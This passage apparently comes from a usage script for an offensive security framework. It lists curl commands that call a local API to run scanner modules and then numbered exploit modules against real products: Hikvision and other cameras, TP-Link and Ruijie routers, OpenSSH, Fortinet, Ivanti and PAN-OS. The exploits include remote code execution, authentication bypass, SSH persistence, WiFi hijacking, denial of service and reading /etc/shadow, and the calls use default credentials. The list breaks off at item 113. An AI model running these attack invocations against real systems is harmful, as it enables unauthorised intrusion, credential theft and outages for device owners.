    "target": "192.168.1.1",
    "prompts": {
      "port": "161",
      "timeout": "3",
      "snmp_version": "both",
      "wordlist": "",
      "save_results": "y",
      "output_file": "snmp_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 47. Redis Scanner ─────────────────────────────────────────
# Scans Redis instances for open access, version, config exposure.
# Prompts: port, timeout, save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/redis_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port": "6379",
      "timeout": "5",
      "save_results": "y",
      "output_file": "redis_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 48. VNC Scanner ───────────────────────────────────────────
# Scans VNC services, checks auth requirements, display range.
# Prompts: port, timeout, scan_range (scan :0-:10), save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/vnc_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port": "5900",
      "timeout": "5",
      "scan_range": "n",
      "save_results": "y",
      "output_file": "vnc_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 49. NBNS Scanner ──────────────────────────────────────────
# NetBIOS Name Service scanner. Resolves NetBIOS names.
# Prompts: port, timeout, retries, save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/nbns_scanner",
    "target": "192.168.1.0/24",
    "prompts": {
      "port": "137",
      "timeout": "3",
      "retries": "2",
      "save_results": "y",
      "output_file": "nbns_scan_results.txt"
    }
  }' | python3 -m json.tool

# ─── 50. Source Port Scanner ────────────────────────────────────
# Tests firewall rules by varying source ports.
# Prompts: dest_port, source_range, scan_udp, concurrency, timeout, verbose, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/source_port_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "dest_port": "80",
      "source_range": "well-known",
      "scan_udp": "n",
      "concurrency": "500",
      "timeout": "3",
      "verbose": "n",
      "output_file": "source_port_results.txt"
    }
  }' | python3 -m json.tool

# ─── 51. Honeypot Scanner ──────────────────────────────────────
# Detects honeypots via port analysis and behavioral heuristics.
# Prompts: target, port_timeout_ms, concurrency, save_results, output_file, verbose, confirm

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/honeypot_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "port_timeout_ms": "200",
      "concurrency": "50",
      "save_results": "y",
      "output_file": "honeypot_results.txt",
      "verbose": "n",
      "confirm": "y"
    }
  }' | python3 -m json.tool

# ─── 52. Subdomain Scanner ─────────────────────────────────────
# DNS subdomain enumeration. Uses built-in wordlist or custom file.
# Prompts: wordlist ("built-in" or path), concurrency, timeout, save_results, output_file

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/subdomain_scanner",
    "target": "example.com",
    "prompts": {
      "wordlist": "built-in",
      "concurrency": "20",
      "timeout": "3",
      "save_results": "y",
      "output_file": "subdomains_example_com.txt"
    }
  }' | python3 -m json.tool

# ─── 53. Amplification Scanner ─────────────────────────────────
# REMOVED — module deleted. Use `scanners/reflect_scanner` (see
# ADDITIONAL MODULES section below) for amplification/reflection
# probing.

# ─── 54. Proxy Scanner ─────────────────────────────────────────
# Scans for open proxy servers on common ports.
# Prompts: ports (default "3128,8080,8888,1080,9050"), timeout

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/proxy_scanner",
    "target": "192.168.1.1",
    "prompts": {
      "ports": "3128,8080,8888,1080,9050",
      "timeout": "5000"
    }
  }' | python3 -m json.tool

# ─── 55. StalkRoute Full Traceroute ────────────────────────────
# Full traceroute with ICMP/UDP/TCP probes. Requires sudo.
# Prompts: sudo_confirm ("yes"/"no")

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/stalkroute_full_traceroute",
    "target": "8.8.8.8",
    "prompts": {
      "sudo_confirm": "yes"
    }
  }' | python3 -m json.tool

# ─── 56. WAF Detector ──────────────────────────────────────────
# Detects Web Application Firewalls (Cloudflare, AWS, Akamai, etc.).
# Prompts: timeout, send_triggers, save_results, output_file

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "scanners/waf_detector",
    "target": "example.com",
    "prompts": {
      "timeout": "10",
      "send_triggers": "y",
      "save_results": "y",
      "output_file": "waf_detect_results.txt"
    }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# CAMERA EXPLOIT MODULES (57-62)
# ═══════════════════════════════════════════════════════════════

# ─── 57. ACTi ACM-5611 RCE ──────────────────────────────────────────
# Single target (check vuln + run command):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/acti/acm_5611_rce",
    "target": "192.168.1.100",
    "prompts": { "port": "8080", "command": "id" }
  }' | python3 -m json.tool

# ─── 58. AVTech Camera CVE-2024-7029 RCE ────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/avtech/cve_2024_7029_avtech_camera",
    "target": "192.168.1.101",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 59. Hikvision CVE-2021-36260 RCE ──────────────────────────────
# mode 1=safe check  2=reboot check  3=run cmd+read output  4=blind cmd
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
    "target": "192.168.1.102",
    "prompts": { "mode": "1" }
  }' | python3 -m json.tool

# ─── 60. ABUS CVE-2023-26609 (LFI / RCE / SSH Persistence) ─────────
# mode 1=LFI  mode 2=RCE  mode 3=SSH persistence
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
    "target": "192.168.1.103",
    "prompts": { "mode": "2", "command": "id" }
  }' | python3 -m json.tool

# ─── 61. Reolink CVE-2019-11001 (Authenticated RCE) ─────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/reolink/reolink_rce_cve_2019_11001",
    "target": "192.168.1.104",
    "prompts": {
      "username": "admin",
      "password": "admin123",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 62. Uniview NVR Password Disclosure ────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/cameras/uniview/uniview_nvr_pwd_disclosure",
    "target": "192.168.1.105",
    "prompts": { "output_file": "uniview_creds.txt" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# SSH EXPLOIT MODULES (63-71)
# ═══════════════════════════════════════════════════════════════

# ─── 63. SSH PWN Session ─────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/sshpwn_session",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "username": "root", "password": "toor", "mode": "2" }
  }' | python3 -m json.tool

# ─── 64. SSH PWN SFTP Attacks ────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/sshpwn_sftp_attacks",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "username": "root", "password": "toor", "mode": "1" }
  }' | python3 -m json.tool

# ─── 65. SSH PWN SCP Attacks ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/sshpwn_scp_attacks",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "username": "root", "password": "toor", "mode": "1" }
  }' | python3 -m json.tool

# ─── 66. SSH PWN Auth Password ───────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/sshpwn_auth_passwd",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "mode": "1" }
  }' | python3 -m json.tool

# ─── 67. SSH PWN PAM ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/sshpwn_pam",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "username": "root", "password": "toor" }
  }' | python3 -m json.tool

# ─── 68. OpenSSH 9.8p1 Race Condition ───────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/opensshserver_9_8p1race_condition",
    "target": "192.168.1.1",
    "prompts": { "port": "22" }
  }' | python3 -m json.tool

# ─── 69. Erlang OTP SSH RCE CVE-2025-32433 ──────────────────────
# Pre-auth RCE via Erlang SSH protocol. Default port 22.
# Prompts: port, command

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "command": "id" }
  }' | python3 -m json.tool

# ─── 70. LibSSH Auth Bypass CVE-2018-10933 ──────────────────────
# Authentication bypass via libssh MSG_USERAUTH_SUCCESS.
# Prompts: port, command

curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/libssh_auth_bypass_cve_2018_10933",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "command": "id" }
  }' | python3 -m json.tool

# ─── 71. OpenSSH RegreSSHion CVE-2024-6387 ──────────────────────
# Race condition in OpenSSH signal handler. Vuln check.
# Prompts: port, verbose

curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/ssh/openssh_regresshion_cve_2024_6387",
    "target": "192.168.1.1",
    "prompts": { "port": "22", "verbose": "no" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# ROUTER EXPLOIT MODULES (72-99)
# ═══════════════════════════════════════════════════════════════

# ─── 72. D-Link DCS-930L Auth Bypass ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/dlink/dlink_dcs_930l_auth_bypass",
    "target": "192.168.0.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 73. Netgear R6700v3 RCE CVE-2022-27646 ────────────────────
# Prompts: target, port (8888/8889/8890)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646",
    "target": "192.168.1.1",
    "prompts": { "port": "8888" }
  }' | python3 -m json.tool

# ─── 74. PAN-OS Auth Bypass CVE-2025-0108 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/palo_alto/panos_authbypass_cve_2025_0108",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 75. PAN-OS Expedition RCE CVE-2024-9463 ───────────────────
# Prompts: target, port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "command": "id" }
  }' | python3 -m json.tool

# ─── 76. PAN-OS GlobalProtect RCE CVE-2024-3400 ────────────────
# Prompts: target, port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "command": "id" }
  }' | python3 -m json.tool

# ─── 77. Ruijie Auth Bypass RCE CVE-2023-34644 ──────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 78. Ruijie Reyee SSRF CVE-2024-48874 ──────────────────────
# Prompts: target_url (required), ssrf_target, follow_redirects, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874",
    "target": "192.168.1.1",
    "prompts": {
      "target_url": "https://192.168.1.1",
      "ssrf_target": "http://127.0.0.1:80/",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 79. Ruijie RG-EW Login Bypass CVE-2023-4415 ────────────────
# Prompts: target_url, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415",
    "target": "192.168.1.1",
    "prompts": {
      "target_url": "https://192.168.1.1",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 80. Ruijie RG-EW Password Reset CVE-2023-4169 ──────────────
# Prompts: target_url, new_password (required), timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169",
    "target": "192.168.1.1",
    "prompts": {
      "target_url": "https://192.168.1.1",
      "new_password": "NewP@ss123!",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 81. Ruijie RG-EW Update Version RCE CVE-2021-43164 ─────────
# Prompts: target_url, command, check_version, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164",
    "target": "192.168.1.1",
    "prompts": {
      "target_url": "https://192.168.1.1",
      "command": "id",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 82. Ruijie RG-UAC Command Injection CVE-2024-4508 ──────────
# Prompts: target_url, command, try_all_vectors, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508",
    "target": "192.168.1.1",
    "prompts": {
      "target_url": "https://192.168.1.1",
      "command": "id",
      "try_all_vectors": "y",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 83. Ruijie RSR Router Command Injection CVE-2024-31616 ─────
# Prompts: target, username, password (required), command, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616",
    "target": "192.168.1.1",
    "prompts": {
      "username": "admin",
      "password": "admin123",
      "command": "id",
      "skip_ssl": "y",
      "proceed": "y"
    }
  }' | python3 -m json.tool

# ─── 84. Tenda CP3 RCE CVE-2023-30353 ───────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353",
    "target": "192.168.1.1",
    "prompts": { "command": "id" }
  }' | python3 -m json.tool

# ─── 85. TP-Link Tapo C200 Vulns (standalone) ───────────────────
# mode 1=Vuln scan, 2=WiFi hijack, 3=Factory reset, 4=Mass scan
# Prompts: mode, target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tapo_c200_vulns",
    "target": "192.168.1.1",
    "prompts": { "mode": "1" }
  }' | python3 -m json.tool

# ─── 86. TP-Link Archer C2/C20i RCE ─────────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_archer_c2_c20i_rce",
    "target": "192.168.0.1",
    "prompts": { "command": "uname -a" }
  }' | python3 -m json.tool

# ─── 87. TP-Link Archer C9 Password Reset ───────────────────────
# Prompts: target (required), port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_archer_c9_password_reset",
    "target": "192.168.0.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 88. TP-Link Archer RCE CVE-2024-53375 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
    "target": "192.168.0.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 89. TP-Link AX1800 RCE CVE-2024-53375 ─────────────────────
# Authenticated RCE. Prompts: target, username, password (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375",
    "target": "192.168.0.1",
    "prompts": {
      "username": "admin",
      "password": "admin",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 90. TP-Link Deco M4 RCE ────────────────────────────────────
# Authenticated RCE. Prompts: target, username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_deco_m4_rce",
    "target": "192.168.0.1",
    "prompts": {
      "username": "admin",
      "password": "admin",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 91. TP-Link Tapo C200 (full exploit) ───────────────────────
# Prompts: target, mode (1=vuln scan, 2=WiFi hijack, etc.)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_tapo_c200",
    "target": "192.168.1.1",
    "prompts": { "mode": "1" }
  }' | python3 -m json.tool

# ─── 92. TP-Link VIGI C385 RCE CVE-2026-1457 ───────────────────
# Prompts: port, username, password, command, mass_scan, exclude_ranges
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457",
    "target": "192.168.1.1",
    "prompts": {
      "port": "443",
      "username": "admin",
      "password": "",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 93. TP-Link VN020 DoS ──────────────────────────────────────
# Prompts: target, duration (seconds, 0 = until stopped)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tp_link_vn020_dos",
    "target": "192.168.0.1",
    "prompts": { "duration": "60" }
  }' | python3 -m json.tool

# ─── 94. TP-Link WDR740N Backdoor ───────────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_wdr740n_backdoor",
    "target": "192.168.0.1",
    "prompts": { "command": "uname -a" }
  }' | python3 -m json.tool

# ─── 95. TP-Link WDR740N Path Traversal ─────────────────────────
# Prompts: target (required), filename
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_wdr740n_path_traversal",
    "target": "192.168.0.1",
    "prompts": { "filename": "/etc/shadow" }
  }' | python3 -m json.tool

# ─── 96. TP-Link WDR842N Configure Disclosure ───────────────────
# Prompts: target (required), port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_wdr842n_configure_disclosure",
    "target": "192.168.0.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ─── 97. TP-Link WR740N DoS ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/tplink/tplink_wr740n_dos",
    "target": "192.168.0.1",
    "prompts": { "port": "8082", "username": "admin", "password": "admin" }
  }' | python3 -m json.tool

# ─── 98. Ubiquiti EdgeRouter Command Injection CVE-2023-2376 ─────
# Prompts: target (required), username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376",
    "target": "192.168.1.1",
    "prompts": {
      "username": "ubnt",
      "password": "ubnt",
      "command": "id"
    }
  }' | python3 -m json.tool

# ─── 99. ZTE ZXV10 H201L RCE / Auth Bypass ──────────────────────
# Prompts: port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890",
    "target": "192.168.1.1",
    "prompts": { "port": "80" }
  }' | python3 -m json.tool

# ═══════════════════════════════════════════════════════════════
# NETWORK INFRASTRUCTURE EXPLOIT MODULES (100-129)
# ═══════════════════════════════════════════════════════════════

# ─── 100. FortiOS Auth Bypass CVE-2022-40684 ─────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 101. FortiOS SSL VPN CVE-2018-13379 ─────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 102. FortiOS Heap Overflow CVE-2023-27997 ───────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 103. FortiGate RCE CVE-2024-21762 ───────────────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 104. FortiManager RCE CVE-2024-47575 ────────────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575",
    "target": "192.168.1.1"
  }' | python3 -m json.tool

# ─── 105. FortiWeb RCE CVE-2021-22123 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 106. FortiWeb SQLi RCE CVE-2025-25257 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 107. FortiSIEM RCE CVE-2025-64155 ───────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 108. FortiCloud SSO Auth Bypass CVE-2026-24858 ──────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 109. Ivanti Connect Secure Buffer Overflow ──────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 110. Ivanti EPMM CVE-2023-35082 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082",
    "target": "192.168.1.1",
    "prompts": { "port": "443" }
  }' | python3 -m json.tool

# ─── 111. Ivanti Pre-Auth RCE CVE-2025-0282 ─────────────────────
# Prompts: port, mode (check/exploit)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "mode": "check" }
  }' | python3 -m json.tool

# ─── 112. Ivanti ICS RCE CVE-2025-22457 ─────────────────────────
# Prompts: port, mode (passive/active)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
  -H 'Authorization: Bearer testkey123' \
  -H 'Content-Type: application/json' \
  -d '{
    "module": "exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce",
    "target": "192.168.1.1",
    "prompts": { "port": "443", "mode": "passive" }
  }' | python3 -m json.tool

# ─── 113. Ivanti ICS Auth Bypass CVE-2024-46352 ─────────────────
